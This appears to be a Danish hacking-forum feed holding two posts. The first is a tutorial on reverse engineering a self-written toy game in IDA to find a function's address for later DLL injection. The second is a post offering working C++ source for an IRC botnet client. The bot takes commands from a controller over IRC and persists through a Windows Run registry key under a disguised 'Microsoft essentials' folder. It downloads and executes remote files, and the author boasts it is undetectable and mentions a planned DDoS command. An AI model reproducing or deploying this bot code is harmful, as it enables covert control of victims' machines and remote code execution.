Vi kan hurtigt se vores if else statement hvor vi tjekker for hvilke valg der er truffet. Hvis der bliver trykket 1 så går vi til angreb, og hvis vi trykker 2 så flygter vi(programmet afsluttes)<br />
<img src="http://puu.sh/4txvS.png" alt="[Billede: 4txvS.png]" class="mycode_img" /><br />
Her kan vi tydeligt se hvad for et stykke kode den er igang med. Vi kan også se hvordan den sammenligner choice, med et nummer. <br />
Først flyttes choice over i eax cpu registret.<br />
<pre class="line-numbers"><code class="language-cpp">mov	    eax, [esp+8+choice]</code></pre>
så sammenlignes eax med 1<br />
<pre class="line-numbers"><code class="language-cpp">cmp    eax, 1</code></pre>
Så kommet jnz. Jump if not zero<br />
<pre class="line-numbers"><code class="language-cpp">jnz	short loc_401340</code></pre>
Der bliver hoppet til loc_401340 hvis eax ikke er lig 1<br />
Ellers fortsættes koden bare nedtil det spændende stykke. Nemlig inde i denne if statement:<br />
<pre class="line-numbers"><code class="language-cpp">if(choice==1)</code></pre>
og det er jo netop inde i denne if statement hvor de to funktioner attackMob og attackPlayer bliver kaldt.<br />
<br />
Her ser vi et billed af funktionen i assembly:<br />
<img src="http://puu.sh/4txD4.png" alt="[Billede: 4txD4.png]" class="mycode_img" /><br />
Her ser vi et billed af funktionen i C++:<br />
<img src="http://puu.sh/4txEx.png" alt="[Billede: 4txEx.png]" class="mycode_img" /><br />
<br />
Her kan vi let se hvad det er der sker. Hvordan noget tekst i 2 omgange bliver push'et på stacken og herefter printet ved brug af cout. <br />
Men længere nede ser vi 2 call's som går til attackPlayer og attackMob.<br />
<img src="http://puu.sh/4txGT.png" alt="[Billede: 4txGT.png]" class="mycode_img" /><br />
Dette er præcis hvad vi har ledt efter.<br />
Vi kan nu se et call til attackMob. Vi klikker nu på attackMob for at se hvad der gemmer sig bag det call.<br />
Meget hurtigt ved et lille kig kan vi se at det er den helt rigtige funktion vi har fat i. Vi klikker nu på den lille tilbage knap oppe i venstre hjørne af IDA for at komme tilbage til start. <br />
Vi sætter nu et breakpoint ved attackMob ved at højreklikke på attackMob og  klikke Add Breakpoint. <br />
<img src="http://puu.sh/4txNf.png" alt="[Billede: 4txNf.png]" class="mycode_img" /><br />
Det call til attackMob vil nu blive rødt.<br />
<img src="http://puu.sh/4txO3.png" alt="[Billede: 4txO3.png]" class="mycode_img" /><br />
<br />
Vi er nu klar til at køre vores program, så den kan stoppe ved breakpoint og fortælle den præcise lokation i memory.<br />
I toppen af IDA, kan vi se en start button, samt pause og en stop<br />
<img src="http://puu.sh/4txR0.png" alt="[Billede: 4txR0.png]" class="mycode_img" /><br />
Her vælger vi Local Win32 debugger og trykker start<br />
<img src="http://puu.sh/4txRk.png" alt="[Billede: 4txRk.png]" class="mycode_img" /><br />
<br />
Et nyt vindue vil nu åbne, hvor vi kan se vores spil. Her vil vi trykke 1 for at angribe, så den rammer vores breakpoint ved attackMob<br />
<br />
Her kan vi nu se at mob angriber player men så stopper/pauser programmet ved vores breakpoint<br />
<img src="http://puu.sh/4txVa.png" alt="[Billede: 4txVa.png]" class="mycode_img" /><br />
I IDA kan vi også se at den er stoppet ved det rigtige sted<br />
<img src="http://puu.sh/4txXo.png" alt="[Billede: 4txXo.png]" class="mycode_img" /><br />
<br />
Vi kan nu se den præcise lokation som er 003C1339 eller 0x003C1339<br />
Vi har nu fundet funktionens præcise addresse. Denne vil blive brugt i den næste tutorial så følg med.]]></description>
			<content:encoded><![CDATA[<span style="font-size: medium;" class="mycode_size">Hvad går denne tutorial serie ud på?</span><br />
Vi har et spil hvor der er runder. En runde er hvor mob angriber player, og player angriber mob. Vi er player. Det er tilfældigt hvem der vinder. Vi vil dog gerne vinde hver gang. Derfor injecter vi en selvskreven DLL ind i processen, hvor vi nu kan kalde funktionen attackMob() ubegrænset, og vinde hvergang.<br />
<br />
Denne første del af GameHack serien, vil gå ud på at benytte reverse engineering til at opnå adressen på funktionen attackMob()<br />
Den næste del vil gå ud på at injecte en DLL i GameHack.<br />
Den sidste del vil være at skrive DLL'en så den kan benytte attackMob() funktionen så vi vinder hvergang<br />
<br />
<span style="text-decoration: underline;" class="mycode_u">Det første er vores mobGame. Læs det, og forstå det. Hvis du ikke forstår det får du ikke noget ud af resten af denne tutorial</span><br />
<div><div class="spoiler_header">mobGame.cpp <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp">#include &lt;iostream&gt;<br />
#include &lt;Windows.h&gt;<br />
#include &lt;cstdlib&gt;<br />
<br />
using namespace std;<br />
<br />
void attackPlayer();<br />
void attackMob();<br />
void initialize();<br />
<br />
struct playerInfo{<br />
	int life;<br />
	int damageFrom;<br />
	int damageTo;<br />
}mob, player;<br />
<br />
<br />
int main(char *args){<br />
<br />
	initialize();<br />
	int roundNum = 0;<br />
	while(true){<br />
		int choice;<br />
		cout &lt;&lt; "What to do? Attack(1) Forfeit(2): ";<br />
		cin &gt;&gt; choice;<br />
		if(choice == 1){<br />
			cout &lt;&lt; "Attacking!" &lt;&lt; endl;<br />
			cout &lt;&lt; "Round: " &lt;&lt; roundNum &lt;&lt; endl;<br />
			roundNum++;	<br />
			attackPlayer();<br />
			attackMob();<br />
		}else if(choice == 2){<br />
			break;<br />
		}<br />
	}<br />
}<br />
<br />
void initialize(){<br />
	mob.life = 200;<br />
	mob.damageFrom = 10;<br />
	mob.damageTo = 50;<br />
	player.life = 210;<br />
	player.damageFrom = 18;<br />
	player.damageTo = 25;<br />
<br />
}<br />
<br />
void attackPlayer(){<br />
	int diff = mob.damageTo - mob.damageFrom;<br />
	int damageC = rand() %  diff + mob.damageFrom;<br />
	cout &lt;&lt; "Mob has engaged in attacking player. Mob does " &lt;&lt; damageC &lt;&lt; " damage" &lt;&lt; endl;<br />
	player.life = player.life - damageC;<br />
	if(player.life &lt;= 0){<br />
		cout &lt;&lt; "Player died and mob won!";<br />
		int pauseVar;<br />
		cin &gt;&gt; pauseVar;<br />
		exit(1);<br />
	}<br />
	cout &lt;&lt; "Player life: " &lt;&lt; player.life &lt;&lt; endl;<br />
}<br />
<br />
void attackMob(){<br />
	int diff = player.damageTo - player.damageFrom;<br />
	int damageC = rand() %  diff + player.damageFrom;<br />
	cout &lt;&lt; "Player is attacking mob. Player does " &lt;&lt; damageC &lt;&lt; " damage" &lt;&lt; endl;<br />
	mob.life = mob.life - damageC;<br />
	if(mob.life &lt;= 0){<br />
		cout &lt;&lt; "Mob died and player won!";<br />
		int pauseVar;<br />
		cin &gt;&gt; pauseVar;<br />
		exit(1);<br />
	}<br />
	cout &lt;&lt; "Mob life: " &lt;&lt; mob.life &lt;&lt; endl;<br />
}<br />
<br />
<br />
<br />
</code></pre>
</div></div>
<br />
Jeg har compilet en version som i kan downloade her: <a href="https://mega.co.nz/#!WNph1Rra!HNQwn1ibkXkFmzGtun6ItA2qydJL-278EE9yOJGS-c4" target="_blank" rel="noopener" class="mycode_url">https://mega.co.nz/#!WNph1Rra!HNQwn1ibkX...E9yOJGS-c4</a><br />
Jeg vil anbefale jer at benytte denne version hvis i er helt nye på området. <br />
Hvis ikke kan i skrive lidt om i koden så der ændres lidt, så i selv skal tænke lidt mere.<br />
<br />
Da vores mål er at kunne angribe, uden at blive angrebet, skal vi finde funktionen som angriber mob. Denne kan vi hurtigt finde ved et kig på koden:<br />
<pre class="line-numbers"><code class="language-cpp">	cout &lt;&lt; "Attacking!" &lt;&lt; endl;<br />
			cout &lt;&lt; "Round: " &lt;&lt; roundNum &lt;&lt; endl;<br />
			roundNum++;	<br />
			attackPlayer();<br />
			attackMob();<br />
</code></pre>
funktionen som angriber mob er så attackMob()<br />
<br />
Det vi nu skal gøre er at finde ud af hvor denne funktion ligger i memory når programmet køres. Her vil vi benytte IDA.<br />
Vi starter IDA op og vælger at vi godt vil rode med vores egen fil(Go: Work on your own):<br />
<img src="http://puu.sh/4tyiY.jpg" alt="[Billede: 4tyiY.jpg]" class="mycode_img" /><br />
Herefter trækker du blot filen mobGame.exe ind i IDA<br />
<br />
Vi vil nu blive præsenteret for en anden skærm. Her trykker du blot "ok".<br />
<img src="http://puu.sh/4tykX.png" alt="[Billede: 4tykX.png]" class="mycode_img" /><br />
<br />
Vores .exe mobGame skulle nu gerne være loadet i IDA. Vælg graph view, da det efter min mening er det bedste(Højreklik midt i IDA og tryk graph view. Hvis muligheden ikke er der, er du allerede i graph view) <br />
Det vi gør nu er at kigge på de forskellige ting og ser om vi kan finde noget som giver mening.<br />
Vi kan hurtigt se vores if else statement hvor vi tjekker for hvilke valg der er truffet. Hvis der bliver trykket 1 så går vi til angreb, og hvis vi trykker 2 så flygter vi(programmet afsluttes)<br />
<img src="http://puu.sh/4txvS.png" alt="[Billede: 4txvS.png]" class="mycode_img" /><br />
Her kan vi tydeligt se hvad for et stykke kode den er igang med. Vi kan også se hvordan den sammenligner choice, med et nummer. <br />
Først flyttes choice over i eax cpu registret.<br />
<pre class="line-numbers"><code class="language-cpp">mov	    eax, [esp+8+choice]</code></pre>
så sammenlignes eax med 1<br />
<pre class="line-numbers"><code class="language-cpp">cmp    eax, 1</code></pre>
Så kommet jnz. Jump if not zero<br />
<pre class="line-numbers"><code class="language-cpp">jnz	short loc_401340</code></pre>
Der bliver hoppet til loc_401340 hvis eax ikke er lig 1<br />
Ellers fortsættes koden bare nedtil det spændende stykke. Nemlig inde i denne if statement:<br />
<pre class="line-numbers"><code class="language-cpp">if(choice==1)</code></pre>
og det er jo netop inde i denne if statement hvor de to funktioner attackMob og attackPlayer bliver kaldt.<br />
<br />
Her ser vi et billed af funktionen i assembly:<br />
<img src="http://puu.sh/4txD4.png" alt="[Billede: 4txD4.png]" class="mycode_img" /><br />
Her ser vi et billed af funktionen i C++:<br />
<img src="http://puu.sh/4txEx.png" alt="[Billede: 4txEx.png]" class="mycode_img" /><br />
<br />
Her kan vi let se hvad det er der sker. Hvordan noget tekst i 2 omgange bliver push'et på stacken og herefter printet ved brug af cout. <br />
Men længere nede ser vi 2 call's som går til attackPlayer og attackMob.<br />
<img src="http://puu.sh/4txGT.png" alt="[Billede: 4txGT.png]" class="mycode_img" /><br />
Dette er præcis hvad vi har ledt efter.<br />
Vi kan nu se et call til attackMob. Vi klikker nu på attackMob for at se hvad der gemmer sig bag det call.<br />
Meget hurtigt ved et lille kig kan vi se at det er den helt rigtige funktion vi har fat i. Vi klikker nu på den lille tilbage knap oppe i venstre hjørne af IDA for at komme tilbage til start. <br />
Vi sætter nu et breakpoint ved attackMob ved at højreklikke på attackMob og  klikke Add Breakpoint. <br />
<img src="http://puu.sh/4txNf.png" alt="[Billede: 4txNf.png]" class="mycode_img" /><br />
Det call til attackMob vil nu blive rødt.<br />
<img src="http://puu.sh/4txO3.png" alt="[Billede: 4txO3.png]" class="mycode_img" /><br />
<br />
Vi er nu klar til at køre vores program, så den kan stoppe ved breakpoint og fortælle den præcise lokation i memory.<br />
I toppen af IDA, kan vi se en start button, samt pause og en stop<br />
<img src="http://puu.sh/4txR0.png" alt="[Billede: 4txR0.png]" class="mycode_img" /><br />
Her vælger vi Local Win32 debugger og trykker start<br />
<img src="http://puu.sh/4txRk.png" alt="[Billede: 4txRk.png]" class="mycode_img" /><br />
<br />
Et nyt vindue vil nu åbne, hvor vi kan se vores spil. Her vil vi trykke 1 for at angribe, så den rammer vores breakpoint ved attackMob<br />
<br />
Her kan vi nu se at mob angriber player men så stopper/pauser programmet ved vores breakpoint<br />
<img src="http://puu.sh/4txVa.png" alt="[Billede: 4txVa.png]" class="mycode_img" /><br />
I IDA kan vi også se at den er stoppet ved det rigtige sted<br />
<img src="http://puu.sh/4txXo.png" alt="[Billede: 4txXo.png]" class="mycode_img" /><br />
<br />
Vi kan nu se den præcise lokation som er 003C1339 eller 0x003C1339<br />
Vi har nu fundet funktionens præcise addresse. Denne vil blive brugt i den næste tutorial så følg med.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[C++/C] IRC Bot]]></title>
			<link>https://www.shellsec.pw/traad-c-c-irc-bot</link>
			<pubDate>Mon, 13 May 2013 23:33:11 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-c-c-irc-bot</guid>
			<description><![CDATA[Begyndte at kode en IRC bot da jeg skulle lære lidt omkring C++ socket programming. Den virkede originalt til både linux, mac og windows, men det døde lidt da jeg tilføjede startup i den :)<br />
<br />
Første IRC bot i c++. Så don't hate.<br />
Konstruktiv kritik modtages meget gerne.<br />
Skriv evt. hvis i vil have nogle funktioner eller noget i den :)<br />
Compiler command: g++ -mwindows ircbotc2.cpp addstartup.cpp<br />
Compilet under windows 8 med cygwin.<br />
Download:  (Out-dated download link)<br />
<br />
<span style="text-decoration: underline;" class="mycode_u">Funktioner</span><ul class="mycode_list"><li>!HELP - Viser guide til commands<br />
</li>
<li>!UPDATE - Opdatere botten til en nyere version med det link du giver den.<br />
</li>
<li>!DDOS - DDoS funktion (Not implemented)<br />
</li>
<li>!EXECUTE - Henter fil fra URL og eksekvere den på systemet<br />
</li>
</ul>
<br />
<br />
OBS: Hvis folk har problemer med compilere, kildekode osv. Kan i til hver en tid blot skrive i denne tråd hvis jeg skal lave en binary til jer. Så bare skriv hvad jeres fulde navn(altså på IRC) er + hvad channel den skal joine. Så skal jeg nok compile en til jer :)<br />
<br />
<br />
EDIT: Opdateret 5-27-2013 og nu tilføjet en update funktion så man nu kan opdatere den til at downloade en ny executable. Opdaterings funktionen bruger Berkeley sockets til at snakke med HTTP protokollen og hente en given fil. <br />
Ja det er nok meget at skrive 130 linjer for en download funktion, men så er den til gengæld også FUD. Hvis man bruger one-lineren <a href="http://msdn.microsoft.com/en-us/library/ms775123(v=vs.85).aspx" target="_blank" rel="noopener" class="mycode_url">http://msdn.microsoft.com/en-us/library/...s.85).aspx</a> er den detected med det samme.<br />
Desuden er min nu også cross compatible. Dog skal der fixes nogle paths hvis den skal ud på andre operativ systemer end windows.<br />
Testet på windows 8 x64.<br />
<br />
<div><div class="spoiler_header">ircbotv2.cpp <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp">/*<br />
<br />
AT Coded by: 		  		Morph3s AT shellsec<br />
AT Version: 					0.2<br />
AT Project start date:  		4/25/2013<br />
AT Purpose:					Save me from boredom on a wednesday night<br />
<br />
*/<br />
<br />
<br />
#include &lt;stdio.h&gt;<br />
#include &lt;unistd.h&gt;<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;sys/types.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;string.h&gt;<br />
#include &lt;netdb.h&gt;<br />
#include &lt;string&gt;<br />
#include &lt;sstream&gt;<br />
#include &lt;iostream&gt;<br />
#include &lt;map&gt;<br />
#include "addstartup.h"<br />
#include "update.h"<br />
#include "tools.h"<br />
<br />
#define MAX_SIZE 1024   // Max size for receiving buffer<br />
char hostname[] = "irc.voxanon.net"; // Define the IRC hostname<br />
<br />
<br />
std::string controller = ":Morph3s!Morph3sATshellsec.pw";   // Who should control the bot ? <br />
std::string botname = "[rootkit]BOT";						// The bot standard name. Numbers will be added to make name unique<br />
std::string channame = "#bottest";							// The channel it shoul join<br />
<br />
int sock_descriptor; // integer number to access socket<br />
struct sockaddr_in serv_addr; // uses predefined sockaddr_in struct<br />
struct hostent *server; // from netdb.h to determine host name out of ip address<br />
char recvBuff[MAX_SIZE];  // Receiving buffer <br />
std::map&lt;std::string, int&gt; commands;<br />
<br />
<br />
int CMDARRSIZE = 0;<br />
<br />
int recieveHandlingCommand(std::string *strArrs, int where);<br />
int findWord(std::string, std::string);<br />
int initializeBot();<br />
int startListening();<br />
int cleanUp();<br />
int initializeCommands();<br />
int sendMessage(char message[]);<br />
int sendAuth();<br />
int showHelp();<br />
int ddos(std::string *strArrs, int where);<br />
int updateBot(std::string *strArrs, int where);<br />
std::string* tokenizer(char buff[]);<br />
<br />
char *stringToChar(std::string target);<br />
<br />
<br />
int main(){<br />
<br />
	std::cout &lt;&lt; "Morph3s IRC bot." &lt;&lt; std::endl;<br />
	initializeCommands();<br />
	initializeBot();<br />
	startListening();<br />
<br />
	cleanUp();<br />
}<br />
<br />
<br />
<br />
char *stringToChar(std::string target){<br />
	<br />
	char *charfi = new char[target.size()+1];<br />
	memcpy(charfi, target.c_str(), target.size()+1);<br />
	return charfi;<br />
}<br />
<br />
int sendMessage(char message[]){<br />
	std::cout &lt;&lt; "SEND: " &lt;&lt; message &lt;&lt; std::endl;<br />
	write(sock_descriptor, message, strlen(message));<br />
	return 0;<br />
}<br />
int cleanUp(){<br />
	close(sock_descriptor);<br />
}<br />
<br />
<br />
std::string* tokenizer(char buff[]){<br />
<br />
	//Counting fase:<br />
	int count = 0;<br />
	std::istringstream inputSplit(recvBuff);<br />
	std::string command;<br />
	while(inputSplit){<br />
		inputSplit &gt;&gt; command;<br />
		count++;<br />
	}<br />
<br />
<br />
	std::string *stringArr = new std::string[count];<br />
	std::cout &lt;&lt; "COUNT EQUALS: " &lt;&lt; count &lt;&lt; std::endl;<br />
	count = 0;<br />
	std::istringstream inputSplit2(recvBuff);<br />
	std::string command2;<br />
	while(inputSplit2){<br />
<br />
		inputSplit2 &gt;&gt; command2;<br />
		stringArr[count] = command2;<br />
		//std::cout &lt;&lt; "ITERATING OVER: " &lt;&lt; command2 &lt;&lt; "   NUMBER IS: " &lt;&lt; count &lt;&lt; std::endl;<br />
		count++;<br />
 	}<br />
<br />
 	CMDARRSIZE = count;<br />
 	return stringArr;<br />
}<br />
<br />
int initializeCommands(){<br />
	commands["Auth"] = 1;  // Send authentication messages<br />
	commands["PING"] = 2;  // Send a pong<br />
	commands["PRIVMSG"] = 3; // You got a private message.<br />
	commands[controller] = 4; // Who's the botherder <br />
	commands[":!DDOS"] = 5; // DDoS something <br />
	commands[":!UPDATE"] = 6; // Update file<br />
	commands[":!HELP"] = 7; // Show help file<br />
}<br />
<br />
int startListening(){<br />
	<br />
	while(true){<br />
		memset(recvBuff, 0, MAX_SIZE);<br />
		if(read(sock_descriptor, recvBuff, sizeof(recvBuff)-1) &gt; 0){<br />
			std::cout &lt;&lt; "RECV: " &lt;&lt; recvBuff &lt;&lt; std::endl;<br />
		}else{<br />
			return 0;<br />
		}<br />
<br />
		std::string* strArr = tokenizer(recvBuff);<br />
		for(int a=0; a&lt;CMDARRSIZE;a++){<br />
			//std::cout &lt;&lt; "Checking for: " &lt;&lt; strArr[a] &lt;&lt; " in " &lt;&lt; commands[strArr[a]] &lt;&lt; std::endl;<br />
			switch(commands[strArr[a]]){<br />
				case 1:<br />
					sendAuth();<br />
					break;<br />
				case 2:<br />
					sendMessage("PONG");<br />
					break;<br />
<br />
				case 3:<br />
					break;<br />
				case 4:<br />
					recieveHandlingCommand(strArr, a);<br />
					break;<br />
			}<br />
		}<br />
	}<br />
}<br />
<br />
<br />
int recieveHandlingCommand(std::string *strArrs, int where){<br />
<br />
<br />
	std::cout &lt;&lt; "Here it is: " &lt;&lt; strArrs[where] &lt;&lt; std::endl;<br />
	<br />
<br />
<br />
<br />
	//We are getting a message from the botherder<br />
	if(findWord(strArrs[(where+1)], "PRIVMSG")){<br />
		std::cout &lt;&lt; "FOUND" &lt;&lt; std::endl;<br />
		std::cout &lt;&lt; "Here is: " &lt;&lt; commands[strArrs[(where+3)]] &lt;&lt; std::endl;<br />
		std::cout &lt;&lt; "Here is: " &lt;&lt; commands[strArrs[(where+2)]] &lt;&lt; std::endl;<br />
		std::cout &lt;&lt; "Here is: " &lt;&lt; commands[strArrs[(where+1)]] &lt;&lt; std::endl;<br />
		switch(commands[strArrs[(where+3)]]){<br />
			case 5:<br />
				ddos(strArrs, where+3);<br />
				break;<br />
			case 6:<br />
				updateBot(strArrs, where+3);<br />
				break;<br />
			case 7:<br />
				showHelp();<br />
				break;	<br />
		}	<br />
	}<br />
}<br />
<br />
<br />
int showHelp(){<br />
	sendMessage(stringToChar("PRIVMSG "+channame+" :Coded by Morph3sATshellsec\n\r"));<br />
	sendMessage(stringToChar("PRIVMSG "+channame+" :***COMMANDS***\n\r"));<br />
	sendMessage(stringToChar("PRIVMSG "+channame+" :!DDOS &lt;target&gt; &lt;port&gt; &lt;method&gt;\n\r"));<br />
	sendMessage(stringToChar("PRIVMSG "+channame+" :!UPDATE &lt;url&gt;\n\r"));<br />
	sendMessage(stringToChar("PRIVMSG "+channame+" :More info at <a href="http://www.shellsec.pw" target="_blank" rel="noopener" class="mycode_url">www.shellsec.pw</a>\n\r"));<br />
}<br />
<br />
<br />
// DDoS Function ready to be added<br />
int ddos(std::string *strArrs, int where){<br />
	std::string target = strArrs[where+1];<br />
	std::string port = strArrs[where+2]; <br />
	std::string method = strArrs[where+3];<br />
	<br />
	sendMessage(stringToChar("PRIVMSG "+channame+" :Engaged DDOS against: "+target+":"+port+" with "+method+"\n\r"));<br />
<br />
}<br />
<br />
// Update code ready to be added<br />
int updateBot(std::string *strArrs, int where){<br />
	std::string url = strArrs[where+1];;<br />
	sendMessage(stringToChar("PRIVMSG "+channame+" :Updating bot with new source from: "+url+"\n\r"));<br />
	updateBotFunc(url);<br />
}<br />
//Authenticate with irc server. Just basic commands<br />
int sendAuth(){<br />
	sendMessage(stringToChar("NICK "+botname+"\n\r"));<br />
    sendMessage(stringToChar("USER "+botname+" 8 *:Lulz da machine\n\r"));<br />
    sendMessage(stringToChar("JOIN "+channame+"\n\r"));<br />
<br />
}<br />
int initializeBot(){<br />
	// Setting unique bot name<br />
	int lol = addToStartup();<br />
	srand(time(NULL));<br />
	int uniq = rand() % 1000 + 1;<br />
	std::cout &lt;&lt; "THIS IS UNIQUE" &lt;&lt; uniq &lt;&lt; std::endl;<br />
	// Setting sockets<br />
	sock_descriptor = socket(AF_INET, SOCK_STREAM, 0); // SOCK_STREAM = TCP, AF_INET = DOMAIN<br />
	if(sock_descriptor &lt; 0){<br />
		std::cout &lt;&lt; "Failed creating socket\n" &lt;&lt; std::endl;<br />
	}<br />
	bzero((char *)&amp;serv_addr, sizeof(serv_addr));<br />
	server = gethostbyname(hostname);<br />
	if(server==NULL){<br />
		std::cout &lt;&lt; "Failed to find server name" &lt;&lt; std::endl;<br />
		return 0;<br />
	}<br />
	serv_addr.sin_family = AF_INET;<br />
	memcpy((char *) &amp;(serv_addr.sin_addr.s_addr), (char *)(server-&gt;h_addr), server-&gt;h_length);<br />
<br />
	serv_addr.sin_port = htons(6667);  // Ensures integer interpretion is correct<br />
	if(connect(sock_descriptor, (struct sockaddr *)&amp;serv_addr, sizeof(serv_addr)) &lt; 0){<br />
		std::cout &lt;&lt; "Failed to connect to server" &lt;&lt; std::endl;<br />
	}else{<br />
		std::cout &lt;&lt; "Succesfully connected" &lt;&lt; std::endl;<br />
	}<br />
<br />
}<br />
<br />
int findWord(std::string text, std::string word){<br />
	if(std::string::npos != text.find(word)){<br />
		return 1;<br />
	}else{<br />
		return 0;<br />
<br />
	}<br />
	<br />
}<br />
</code></pre></div></div><div><div class="spoiler_header">addstartup.h <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp">#ifndef ADDSTARTUP_H<br />
#define ADDSTARTUP_H<br />
<br />
int addToStartup();<br />
<br />
<br />
#endif<br />
</code></pre></div></div><div><div class="spoiler_header">addstartup.cpp <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp">#include &lt;iostream&gt;<br />
#include &lt;windows.h&gt;<br />
#include &lt;sstream&gt;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;string.h&gt;<br />
#include &lt;cstdlib&gt;<br />
#include "tools.h"<br />
<br />
using namespace std;<br />
<br />
<br />
<br />
string folderName = "C:\\Users\\"+getUsername()+"\\AppData\\Local\\Microsoft essentials";<br />
<br />
<br />
int addToStartup(){<br />
<br />
	string filenamecor = findCurrentFilename();<br />
<br />
	//Check if folder is there. If not create it. <br />
	if(CreateDirectory(folderName.c_str(), NULL)){<br />
<br />
	}else{<br />
		cout &lt;&lt; "Could not create folder. I'll assume it's already there" &lt;&lt; endl;<br />
		return 0;<br />
	}<br />
	<br />
	//Move file to dir<br />
	<br />
	char *fileName = (char *)filenamecor.c_str();<br />
	cout &lt;&lt; "Filename is: " &lt;&lt; fileName &lt;&lt; endl;<br />
	string path = "C:\\Users\\"+getUsername()+"\\AppData\\Local\\Microsoft essentials\\lol.exe\0";<br />
	if(CopyFile(fileName, path.c_str(), true)){<br />
		cout &lt;&lt; "Succesfully moved file" &lt;&lt; endl;<br />
	}<br />
<br />
	//Folder is valid. Create key<br />
	HKEY key;<br />
	DWORD dwDisposition; <br />
	if((RegCreateKeyEx(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, NULL, 0, KEY_WRITE, NULL, &amp;key, &amp;dwDisposition))==ERROR_SUCCESS){<br />
		DWORD dwType, dwSize;<br />
		dwSize = path.size();<br />
		RegSetValueEx(key, TEXT("Microsoft essentials"), 0, REG_SZ, (LPBYTE)path.c_str(), dwSize);<br />
  		RegCloseKey(key);<br />
		cout &lt;&lt; "Succesfully created key!";<br />
	}else{<br />
<br />
		cout &lt;&lt; "Could not create key!";<br />
	}<br />
<br />
<br />
}<br />
</code></pre></div></div>
<div><div class="spoiler_header">update.h <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp">#ifndef UPDATE_H<br />
#define UPDATE_H<br />
<br />
#include &lt;string&gt;<br />
<br />
int updateBotFunc(std::string);<br />
<br />
<br />
#endif<br />
</code></pre></div></div>
<div><div class="spoiler_header">update.cpp <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp"><br />
<br />
#include &lt;fstream&gt;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;unistd.h&gt;<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;sys/types.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;string.h&gt;<br />
#include &lt;netdb.h&gt;<br />
#include &lt;string&gt;<br />
#include &lt;sstream&gt;<br />
#include &lt;iostream&gt;<br />
#include &lt;map&gt;<br />
#include &lt;windows.h&gt;<br />
#include "tools.h"<br />
<br />
using namespace std;<br />
#define MAX_SIZE 1024   // Max size for receiving buffer<br />
<br />
<br />
string updatedFilePath;<br />
string executePath;<br />
<br />
<br />
int updateServer(string);<br />
void executeFile();<br />
<br />
int updateBotFunc(string updateUrl){<br />
	cout &lt;&lt; "Welcome to the update function" &lt;&lt; endl;<br />
	<br />
	//Renaming old file to make room for new one.<br />
	string filenamecor = findCurrentFilename();<br />
	string filenamecore = filenamecor + ".old";<br />
	rename(filenamecor.c_str(), filenamecore.c_str());<br />
<br />
<br />
	updatedFilePath = "C:\\Users\\"+getUsername()+"\\AppData\\Local\\Microsoft essentials\\" + filenamecor;<br />
	executePath = "C:/Users/"+getUsername()+"/AppData/Local/\"Microsoft essentials\"/" + filenamecor;<br />
	<br />
	string host = updateUrl;<br />
	if(updateServer(host)){<br />
		executeFile();<br />
	}<br />
}<br />
int updateServer(string updateUrl){<br />
	char *buff = (char*)updateUrl.c_str();	<br />
	const char* delim = "/";<br />
	string path = strstr(buff, delim);<br />
	string hstnameString = updateUrl.substr(0, (updateUrl.size()-path.size()));<br />
	int sock_descriptor; // integer number to access socket<br />
	struct sockaddr_in serv_addr; // uses predefined sockaddr_in struct<br />
	struct hostent *server; // from netdb.h to determine host name out of ip address<br />
	char recvBuff[MAX_SIZE];  // Receiving buffer <br />
	char *hostname; <br />
	hostname = (char*)hstnameString.c_str(); // Location of file<br />
<br />
	// Http request to retrieve file<br />
	string requests = "GET "+path+" HTTP/1.0\n"<br />
					"Host: "+hstnameString+"\n"<br />
					"Connection: keep-alive\n"<br />
					"Cache-Control: no-cache\n"<br />
					"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n"<br />
